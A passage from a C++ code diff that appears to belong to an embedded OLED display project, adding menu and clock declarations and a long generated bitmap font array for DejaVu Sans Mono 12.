void addMenuNode(Menu* menu, const char* ptr, std::functionclick); + void addMenuNode(Menu* menu, const char* ptr, Menu* next); + + // fake clock + void drawClock(); + void setTime(int h, int m, int s); + + int clockHour = 6; + int clockMinute = 0; + int clockSecond = 0; + + uint32_t clockTime = 0; +}; + +// ===== FONT ===== // +// Created by http://oleddisplay.squix.ch/ Consider a donation +// In case of problems make sure that you are using the font file with the correct version! +const uint8_t DejaVu_Sans_Mono_12[] PROGMEM = { + 0x07, // Width: 7 + 0x0F, // Height: 15 + 0x20, // First Char: 32 + 0xE0, // Numbers of Chars: 224 + + // Jump Table: + 0xFF, 0xFF, 0x00, 0x07, // 32:65535 + 0x00, 0x00, 0x08, 0x07, // 33:0 + 0x00, 0x08, 0x09, 0x07, // 34:8 + 0x00, 0x11, 0x0D, 0x07, // 35:17 + 0x00, 0x1E, 0x0C, 0x07, // 36:30 + 0x00, 0x2A, 0x0E, 0x07, // 37:42 + 0x00, 0x38, 0x0E, 0x07, // 38:56 + 0x00, 0x46, 0x07, 0x07, // 39:70 + 0x00, 0x4D, 0x0C, 0x07, // 40:77 + 0x00, 0x59, 0x0A, 0x07, // 41:89 + 0x00, 0x63, 0x0B, 0x07, // 42:99 + 0x00, 0x6E, 0x0E, 0x07, // 43:110 + 0x00, 0x7C, 0x08, 0x07, // 44:124 + 0x00, 0x84, 0x0A, 0x07, // 45:132 + 0x00, 0x8E, 0x08, 0x07, // 46:142 + 0x00, 0x96, 0x0D, 0x07, // 47:150 + 0x00, 0xA3, 0x0E, 0x07, // 48:163 + 0x00, 0xB1, 0x0C, 0x07, // 49:177 + 0x00, 0xBD, 0x0E, 0x07, // 50:189 + 0x00, 0xCB, 0x0E, 0x07, // 51:203 + 0x00, 0xD9, 0x0E, 0x07, // 52:217 + 0x00, 0xE7, 0x0E, 0x07, // 53:231 + 0x00, 0xF5, 0x0E, 0x07, // 54:245 + 0x01, 0x03, 0x0D, 0x07, // 55:259 + 0x01, 0x10, 0x0E, 0x07, // 56:272 + 0x01, 0x1E, 0x0E, 0x07, // 57:286 + 0x01, 0x2C, 0x08, 0x07, // 58:300 + 0x01, 0x34, 0x08, 0x07, // 59:308 + 0x01, 0x3C, 0x0E, 0x07, // 60:316 + 0x01, 0x4A, 0x0E, 0x07, // 61:330 + 0x01, 0x58, 0x0E, 0x07, // 62:344 + 0x01, 0x66, 0x0D, 0x07, // 63:358 + 0x01, 0x73, 0x0E, 0x07, // 64:371 + 0x01, 0x81, 0x0E, 0x07, // 65:385 + 0x01, 0x8F, 0x0E, 0x07, // 66:399 + 0x01, 0x9D, 0x0E, 0x07, // 67:413 + 0x01, 0xAB, 0x0E, 0x07, // 68:427 + 0x01, 0xB9, 0x0E, 0x07, // 69:441 + 0x01, 0xC7, 0x0D, 0x07, // 70:455 + 0x01, 0xD4, 0x0E, 0x07, // 71:468 + 0x01, 0xE2, 0x0E, 0x07, // 72:482 + 0x01, 0xF0, 0x0C, 0x07, // 73:496 + 0x01, 0xFC, 0x0C, 0x07, // 74:508 + 0x02, 0x08, 0x0E, 0x07, // 75:520 + 0x02, 0x16, 0x0E, 0x07, // 76:534 + 0x02, 0x24, 0x0E, 0x07, // 77:548 + 0x02, 0x32, 0x0E, 0x07, // 78:562 + 0x02, 0x40, 0x0E, 0x07, // 79:576 + 0x02, 0x4E, 0x0D, 0x07, // 80:590 + 0x02, 0x5B, 0x0E, 0x07, // 81:603 + 0x02, 0x69, 0x0E, 0x07, // 82:617 + 0x02, 0x77, 0x0E, 0x07, // 83:631 + 0x02, 0x85, 0x0D, 0x07, // 84:645 + 0x02, 0x92, 0x0E, 0x07, // 85:658 + 0x02, 0xA0, 0x0D, 0x07, // 86:672 + 0x02, 0xAD, 0x0E, 0x07, // 87:685 + 0x02, 0xBB, 0x0E, 0x07, // 88:699 + 0x02, 0xC9, 0x0D, 0x07, // 89:713 + 0x02, 0xD6, 0x0E, 0x07, // 90:726 + 0x02, 0xE4, 0x0A, 0x07, // 91:740 + 0x02, 0xEE, 0x0E, 0x07, // 92:750 + 0x02, 0xFC, 0x08, 0x07, // 93:764 + 0x03, 0x04, 0x0B, 0x07, // 94:772 + 0x03, 0x0F, 0x0E, 0x07, // 95:783 + 0x03, 0x1D, 0x09, 0x07, // 96:797 + 0x03, 0x26, 0x0C, 0x07, // 97:806 + 0x03, 0x32, 0x0C, 0x07, // 98:818 + 0x03, 0x3E, 0x0C, 0x07, // 99:830 + 0x03, 0x4A, 0x0C, 0x07, // 100:842 + 0x03, 0x56, 0x0C, 0x07, // 101:854 + 0x03, 0x62, 0x0B, 0x07, // 102:866 + 0x03, 0x6D, 0x0C, 0x07, // 103:877 + 0x03, 0x79, 0x0C, 0x07, // 104:889 + 0x03, 0x85, 0x0C, 0x07, // 105:901 + 0x03, 0x91, 0x0A, 0x07, // 106:913 + 0x03, 0x9B, 0x0C, 0x07, // 107:923 + 0x03, 0xA7, 0x0C, 0x07, // 108:935 + 0x03, 0xB3, 0x0C, 0x07, // 109:947 + 0x03, 0xBF, 0x0C, 0x07, // 110:959 + 0x03, 0xCB, 0x0C, 0x07, // 111:971 + 0x03, 0xD7, 0x0C, 0x07, // 112:983 + 0x03, 0xE3, 0x0C, 0x07, // 113:995 + 0x03, 0xEF, 0x0D, 0x07, // 114:1007 + 0x03, 0xFC, 0x0C, 0x07, // 115:1020 + 0x04, 0x08, 0x0C, 0x07, // 116:1032 + 0x04, 0x14, 0x0C, 0x07, // 117:1044 + 0x04, 0x20, 0x0B, 0x07, // 118:1056 + 0x04, 0x2B, 0x0D, 0x07, // 119:1067 + 0x04, 0x38, 0x0C, 0x07, // 120:1080 + 0x04, 0x44, 0x0B, 0x07, // 121:1092 + 0x04, 0x4F, 0x0C, 0x07, // 122:1103 + 0x04, 0x5B, 0x0C, 0x07, // 123:1115 + 0x04, 0x67, 0x08, 0x07, // 124:1127 + 0x04, 0x6F, 0x0B, 0x07, // 125:1135 + 0x04, 0x7A, 0x0E, 0x07, // 126:1146 + 0x04, 0x88, 0x0E, 0x07, // 127:1160 + 0x04, 0x96, 0x0E, 0x07, // 128:1174 + 0x04, 0xA4, 0x0E, 0x07, // 129:1188 + 0x04, 0xB2, 0x0E, 0x07, // 130:1202 + 0x04, 0xC0, 0x0E, 0x07, // 131:1216 + 0x04, 0xCE, 0x0E, 0x07, // 132:1230 + 0x04, 0xDC, 0x0E, 0x07, // 133:1244 + 0x04, 0xEA, 0x0E, 0x07, // 134:1258 + 0x04, 0xF8, 0x0E, 0x07, // 135:1272 + 0x05, 0x06, 0x0E, 0x07, // 136:1286 + 0x05, 0x14, 0x0E, 0x07, // 137:1300 + 0x05, 0x22, 0x0E, 0x07, // 138:1314 + 0x05, 0x30, 0x0E, 0x07, // 139:1328 + 0x05, 0x3E, 0x0E, 0x07, // 140:1342 + 0x05, 0x4C, 0x0E, 0x07, // 141:1356 + 0x05, 0x5A, 0x0E, 0x07, // 142:1370 + 0x05, 0x68, 0x0E, 0x07, // 143:1384 + 0x05, 0x76, 0x0E, 0x07, // 144:1398 + 0x05, 0x84, 0x0E, 0x07, // 145:1412 + 0x05, 0x92, 0x0E, 0x07, // 146:1426 + 0x05, 0xA0, 0x0E, 0x07, // 147:1440 + 0x05, 0xAE, 0x0E, 0x07, // 148:1454 + 0x05, 0xBC, 0x0E, 0x07, // 149:1468 + 0x05, 0xCA, 0x0E, 0x07, // 150:1482 + 0x05, 0xD8, 0x0E, 0x07, // 151:1496 + 0x05, 0xE6, 0x0E, 0x07, // 152:1510 + 0x05, 0xF4, 0x0E, 0x07, // 153:1524 + 0x06, 0x02, 0x0E, 0x07, // 154:1538 + 0x06, 0x10, 0x0E, 0x07, // 155:1552 + 0x06, 0x1E, 0x0E, 0x07, // 156:1566 + 0x06, 0x2C, 0x0E, 0x07, // 157:1580 + 0x06, 0x3A, 0x0E, 0x07, // 158:1594 + 0x06, 0x48, 0x0E, 0x07, // 159:1608 + 0xFF, 0xFF, 0x00, 0x07, // 160:65535 + 0x06, 0x56, 0x08, 0x07, // 161:1622 + 0x06, 0x5E, 0x0C, 0x07, // 162:1630 + 0x06, 0x6A, 0x0C, 0x07, // 163:1642 + 0x06, 0x76, 0x0E, 0x07, // 164:1654 + 0x06, 0x84, 0x0D, 0x07, // 165:1668 + 0x06, 0x91, 0x08, 0x07, // 166:1681 + 0x06, 0x99, 0x0C, 0x07, // 167:1689 + 0x06, 0xA5, 0x09, 0x07, // 168:1701 + 0x06, 0xAE, 0x0E, 0x07, // 169:1710 + 0x06, 0xBC, 0x0A, 0x07, // 170:1724 + 0x06, 0xC6, 0x0E, 0x07, // 171:1734 + 0x06, 0xD4, 0x0E, 0x07, // 172:1748 + 0x06, 0xE2, 0x0A, 0x07, // 173:1762 + 0x06, 0xEC, 0x0E, 0x07, // 174:1772 + 0x06, 0xFA, 0x0B, 0x07, // 175:1786 + 0x07, 0x05, 0x0B, 0x07, // 176:1797 + 0x07, 0x10, 0x0E, 0x07, // 177:1808 + 0x07, 0x1E, 0x09, 0x07, // 178:1822 + 0x07, 0x27, 0x0B, 0x07, // 179:1831 + 0x07, 0x32, 0x09, 0x07, // 180:1842 + 0x07, 0x3B, 0x0E, 0x07, // 181:1851 + 0x07, 0x49, 0x0E, 0x07, // 182:1865 + 0x07, 0x57, 0x08, 0x07, // 183:1879 + 0x07, 0x5F, 0x0A, 0x07, // 184:1887 + 0x07, 0x69, 0x09, 0x07, // 185:1897 + 0x07, 0x72, 0x0A, 0x07, // 186:1906 + 0x07, 0x7C, 0x0E, 0x07, // 187:1916 + 0x07, 0x8A, 0x0E, 0x07, // 188:1930 + 0x07, 0x98, 0x0C, 0x07, // 189:1944 + 0x07, 0xA4, 0x0E, 0x07, // 190:1956 + 0x07, 0xB2, 0x0A, 0x07, // 191:1970 + 0x07, 0xBC, 0x0E, 0x07, // 192:1980 + 0x07, 0xCA, 0x0E, 0x07, // 193:1994 + 0x07, 0xD8, 0x0E, 0x07, // 194:2008 + 0x07, 0xE6, 0x0E, 0x07, // 195:2022 + 0x07, 0xF4, 0x0E, 0x07, // 196:2036 + 0x08, 0x02, 0x0E, 0x07, // 197:2050 + 0x08, 0x10, 0x0E, 0x07, // 198:2064 + 0x08, 0x1E, 0x0E, 0x07, // 199:2078 + 0x08, 0x2C, 0x0E, 0x07, // 200:2092 + 0x08, 0x3A, 0x0E, 0x07, // 201:2106 + 0x08, 0x48, 0x0E, 0x07, // 202:2120 + 0x08, 0x56, 0x0E, 0x07, // 203:2134 + 0x08, 0x64, 0x0C, 0x07, // 204:2148 + 0x08, 0x70, 0x0C, 0x07, // 205:2160 + 0x08, 0x7C, 0x0C, 0x07, // 206:2172 + 0x08, 0x88, 0x0C, 0x07, // 207:2184 + 0x08, 0x94, 0x0E, 0x07, // 208:2196 + 0x08, 0xA2, 0x0E, 0x07, // 209:2210 + 0x08, 0xB0, 0x0E, 0x07, // 210:2224 + 0x08, 0xBE, 0x0E, 0x07, // 211:2238 + 0x08, 0xCC, 0x0E, 0x07, // 212:2252 + 0x08, 0xDA, 0x0E, 0x07, // 213:2266 + 0x08, 0xE8, 0x0E, 0x07, // 214:2280 + 0x08, 0xF6, 0x0C, 0x07, // 215:2294 + 0x09, 0x02, 0x0E, 0x07, // 216:2306 + 0x09, 0x10, 0x0E, 0x07, // 217:2320 + 0x09, 0x1E, 0x0E, 0x07, // 218:2334 + 0x09, 0x2C, 0x0E, 0x07, // 219:2348 + 0x09, 0x3A, 0x0E, 0x07, // 220:2362 + 0x09, 0x48, 0x0D, 0x07, // 221:2376 + 0x09, 0x55, 0x0D, 0x07, // 222:2389 + 0x09, 0x62, 0x0C, 0x07, // 223:2402 + 0x09, 0x6E, 0x0C, 0x07, // 224:2414 + 0x09, 0x7A, 0x0C, 0x07, // 225:2426 + 0x09, 0x86, 0x0C, 0x07, // 226:2438 + 0x09, 0x92, 0x0C, 0x07, // 227:2450 + 0x09, 0x9E, 0x0C, 0x07, // 228:2462 + 0x09, 0xAA, 0x0C, 0x07, // 229:2474 + 0x09, 0xB6, 0x0C, 0x07, // 230:2486 + 0x09, 0xC2, 0x0C, 0x07, // 231:2498 + 0x09, 0xCE, 0x0C, 0x07, // 232:2510 + 0x09, 0xDA, 0x0C, 0x07, // 233:2522 + 0x09, 0xE6, 0x0C, 0x07, // 234:2534 + 0x09, 0xF2, 0x0C, 0x07, // 235:2546 + 0x09, 0xFE, 0x0C, 0x07, // 236:2558 + 0x0A, 0x0A, 0x0C, 0x07, // 237:2570 + 0x0A, 0x16, 0x0C, 0x07, // 238:2582 + 0x0A, 0x22, 0x0C, 0x07, // 239:2594 + 0x0A, 0x2E, 0x0C, 0x07, // 240:2606 + 0x0A, 0x3A, 0x0C, 0x07, // 241:2618 + 0x0A, 0x46, 0x0C, 0x07, // 242:2630 + 0x0A, 0x52, 0x0C, 0x07, // 243:2642 + 0x0A, 0x5E, 0x0C, 0x07, // 244:2654 + 0x0A, 0x6A, 0x0C, 0x07, // 245:2666 + 0x0A, 0x76, 0x0C, 0x07, // 246:2678 + 0x0A, 0x82, 0x0C, 0x07, // 247:2690 + 0x0A, 0x8E, 0x0C, 0x07, // 248:2702 + 0x0A, 0x9A, 0x0C, 0x07, // 249:2714 + 0x0A, 0xA6, 0x0C, 0x07, // 250:2726 + 0x0A, 0xB2, 0x0C, 0x07, // 251:2738 + 0x0A, 0xBE, 0x0C, 0x07, // 252:2750 + 0x0A, 0xCA, 0x0B, 0x07, // 253:2762 + 0x0A, 0xD5, 0x0C, 0x07, // 254:2773 + 0x0A, 0xE1, 0x0B, 0x07, // 255:2785 + + // Font Data: + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x0D, // 33 + 0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x38, // 34 + 0x00, 0x02, 0x40, 0x0E, 0xE0, 0x03, 0x50, 0x0A, 0xC0, 0x07, 0x70, 0x02, 0x40, // 35 + 0x00, 0x00, 0xE0, 0x04, 0x90, 0x08, 0xF8, 0x3F, 0x10, 0x09, 0x20, 0x07, // 36 + 0x30, 0x00, 0x48, 0x01, 0x48, 0x01, 0xB0, 0x06, 0x80, 0x09, 0x40, 0x09, 0x00, 0x06, // 37 + 0x00, 0x00, 0x00, 0x07, 0xF0, 0x0C, 0xC8, 0x08, 0x08, 0x0B, 0x08, 0x06, 0x00, 0x0B, // 38 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, // 39 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x03, 0x1C, 0x1C, 0x04, 0x10, // 40 + 0x00, 0x00, 0x00, 0x00, 0x04, 0x10, 0x1C, 0x1C, 0xE0, 0x03, // 41 + 0x00, 0x00, 0x90, 0x00, 0x60, 0x00, 0xF8, 0x01, 0x60, 0x00, 0x90, // 42 + 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0xE0, 0x0F, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 43 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x0C, // 44 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 45 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, // 46 + 0x00, 0x00, 0x00, 0x10, 0x00, 0x0C, 0x00, 0x03, 0xC0, 0x00, 0x30, 0x00, 0x08, // 47 + 0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x88, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 48 + 0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x0F, 0x00, 0x08, 0x00, 0x08, // 49 + 0x00, 0x00, 0x10, 0x08, 0x08, 0x0C, 0x08, 0x0A, 0x08, 0x09, 0x88, 0x08, 0x70, 0x08, // 50 + 0x00, 0x00, 0x10, 0x04, 0x08, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 51 + 0x00, 0x00, 0x00, 0x03, 0xC0, 0x02, 0x60, 0x02, 0x18, 0x02, 0xF8, 0x0F, 0x00, 0x02, // 52 + 0x00, 0x00, 0x78, 0x04, 0x48, 0x08, 0x48, 0x08, 0x48, 0x08, 0xC8, 0x0C, 0x80, 0x07, // 53 + 0x00, 0x00, 0xE0, 0x03, 0x90, 0x0C, 0x48, 0x08, 0x48, 0x08, 0xC8, 0x0C, 0x90, 0x07, // 54 + 0x00, 0x00, 0x08, 0x00, 0x08, 0x08, 0x08, 0x06, 0x88, 0x01, 0x78, 0x00, 0x18, // 55 + 0x00, 0x00, 0x70, 0x07, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 56 + 0x00, 0x00, 0xF0, 0x04, 0x18, 0x09, 0x08, 0x09, 0x08, 0x09, 0x98, 0x04, 0xE0, 0x03, // 57 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x0C, // 58 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xC0, 0x0C, // 59 + 0x00, 0x00, 0x80, 0x01, 0x80, 0x01, 0x40, 0x02, 0x40, 0x02, 0x40, 0x02, 0x20, 0x04, // 60 + 0x00, 0x00, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, // 61 + 0x00, 0x00, 0x20, 0x04, 0x40, 0x02, 0x40, 0x02, 0x40, 0x02, 0x80, 0x01, 0x80, 0x01, // 62 + 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x88, 0x0D, 0xC8, 0x00, 0x48, 0x00, 0x30, // 63 + 0x00, 0x00, 0xC0, 0x0F, 0x20, 0x18, 0x10, 0x23, 0x90, 0x24, 0xB0, 0x24, 0xE0, 0x07, // 64 + 0x00, 0x00, 0x00, 0x0C, 0xC0, 0x03, 0x38, 0x02, 0x38, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 65 + 0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 66 + 0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x10, 0x04, // 67 + 0x00, 0x00, 0xF8, 0x0F, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x10, 0x04, 0xE0, 0x03, // 68 + 0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, // 69 + 0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, // 70 + 0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x08, 0x08, 0x08, 0x88, 0x08, 0x90, 0x07, // 71 + 0x00, 0x00, 0xF8, 0x0F, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0xF8, 0x0F, // 72 + 0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x0F, 0x08, 0x08, 0x08, 0x08, // 73 + 0x00, 0x00, 0x00, 0x04, 0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x07, // 74 + 0x00, 0x00, 0xF8, 0x0F, 0x80, 0x00, 0xC0, 0x00, 0x20, 0x03, 0x10, 0x06, 0x08, 0x08, // 75 + 0x00, 0x00, 0xF8, 0x0F, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, // 76 + 0x00, 0x00, 0xF8, 0x0F, 0x30, 0x00, 0xC0, 0x01, 0xC0, 0x01, 0x30, 0x00, 0xF8, 0x0F, // 77 + 0x00, 0x00, 0xF8, 0x0F, 0x18, 0x00, 0xE0, 0x00, 0x80, 0x03, 0x00, 0x0C, 0xF8, 0x0F, // 78 + 0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 79 + 0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x70, // 80 + 0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x18, 0x3C, 0xE0, 0x07, // 81 + 0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x01, 0x70, 0x06, // 82 + 0x00, 0x00, 0x70, 0x04, 0xC8, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x10, 0x07, // 83 + 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0xF8, 0x0F, 0x08, 0x00, 0x08, 0x00, 0x08, // 84 + 0x00, 0x00, 0xF8, 0x07, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xF8, 0x07, // 85 + 0x00, 0x00, 0x18, 0x00, 0xE0, 0x01, 0x00, 0x0E, 0x00, 0x0E, 0xE0, 0x01, 0x18, // 86 + 0xF8, 0x01, 0x00, 0x0E, 0xC0, 0x03, 0x30, 0x00, 0xC0, 0x03, 0x00, 0x0E, 0xF8, 0x01, // 87 + 0x00, 0x00, 0x08, 0x08, 0x30, 0x06, 0xC0, 0x01, 0xC0, 0x01, 0x30, 0x06, 0x08, 0x08, // 88 + 0x08, 0x00, 0x10, 0x00, 0x60, 0x00, 0x80, 0x0F, 0x60, 0x00, 0x10, 0x00, 0x08, // 89 + 0x00, 0x00, 0x08, 0x0C, 0x08, 0x0E, 0x88, 0x09, 0xC8, 0x08, 0x38, 0x08, 0x18, 0x08, // 90 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFC, 0x1F, 0x04, 0x10, // 91 + 0x00, 0x00, 0x08, 0x00, 0x30, 0x00, 0xC0, 0x00, 0x00, 0x03, 0x00, 0x0C, 0x00, 0x10, // 92 + 0x00, 0x00, 0x00, 0x00, 0x04, 0x10, 0xFC, 0x1F, // 93 + 0x20, 0x00, 0x10, 0x00, 0x08, 0x00, 0x08, 0x00, 0x10, 0x00, 0x20, // 94 + 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, // 95 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x08, // 96 + 0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x20, 0x09, 0x20, 0x09, 0xC0, 0x0F, // 97 + 0x00, 0x00, 0xFC, 0x0F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 98 + 0x00, 0x00, 0xC0, 0x07, 0x60, 0x0C, 0x20, 0x08, 0x20, 0x08, 0x40, 0x08, // 99 + 0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xFC, 0x0F, // 100 + 0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x20, 0x09, 0x20, 0x09, 0xC0, 0x05, // 101 + 0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0xF8, 0x0F, 0x24, 0x00, 0x24, // 102 + 0x00, 0x00, 0xC0, 0x07, 0x20, 0x28, 0x20, 0x48, 0x20, 0x48, 0xE0, 0x3F, // 103 + 0x00, 0x00, 0xFC, 0x0F, 0x40, 0x00, 0x20, 0x00, 0x20, 0x00, 0xC0, 0x0F, // 104 + 0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE4, 0x0F, 0x00, 0x08, 0x00, 0x08, // 105 + 0x00, 0x00, 0x00, 0x00, 0x20, 0x40, 0x20, 0x40, 0xE4, 0x3F, // 106 + 0x00, 0x00, 0xFC, 0x0F, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, 0x20, 0x08, // 107 + 0x00, 0x00, 0x04, 0x00, 0x04, 0x00, 0xFC, 0x07, 0x00, 0x08, 0x00, 0x08, // 108 + 0x00, 0x00, 0xE0, 0x0F, 0x20, 0x00, 0xE0, 0x0F, 0x20, 0x00, 0xE0, 0x0F, // 109 + 0x00, 0x00, 0xE0, 0x0F, 0x40, 0x00, 0x20, 0x00, 0x20, 0x00, 0xC0, 0x0F, // 110 + 0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 111 + 0x00, 0x00, 0xE0, 0x7F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 112 + 0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xE0, 0x7F, // 113 + 0x00, 0x00, 0x00, 0x00, 0xE0, 0x0F, 0x60, 0x00, 0x20, 0x00, 0x20, 0x00, 0x40, // 114 + 0x00, 0x00, 0xC0, 0x04, 0x20, 0x09, 0x20, 0x09, 0x20, 0x09, 0x40, 0x06, // 115 + 0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0xF8, 0x0F, 0x20, 0x08, 0x20, 0x08, // 116 + 0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xE0, 0x0F, // 117 + 0x00, 0x00, 0x60, 0x00, 0x80, 0x03, 0x00, 0x0C, 0x80, 0x03, 0x60, // 118 + 0x60, 0x00, 0x80, 0x03, 0x00, 0x0E, 0x80, 0x01, 0x00, 0x0E, 0x80, 0x03, 0x60, // 119 + 0x00, 0x00, 0x20, 0x08, 0xC0, 0x06, 0x00, 0x01, 0xC0, 0x06, 0x20, 0x08, // 120 + 0x00, 0x00, 0x60, 0x40, 0x80, 0x67, 0x00, 0x1C, 0x80, 0x03, 0x60, // 121 + 0x00, 0x00, 0x20, 0x0C, 0x20, 0x0A, 0x20, 0x09, 0xA0, 0x08, 0x60, 0x08, // 122 + 0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x7C, 0x1F, 0x04, 0x10, 0x04, 0x10, // 123 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFC, 0x3F, // 124 + 0x00, 0x00, 0x04, 0x10, 0x04, 0x10, 0x7C, 0x1F, 0x80, 0x00, 0x80, // 125 + 0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 126 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 127 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 128 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 129 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 130 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 131 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 132 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 133 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 134 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 135 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 136 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 137 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 138 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 139 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 140 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 141 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 142 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 143 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 144 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 145 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 146 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 147 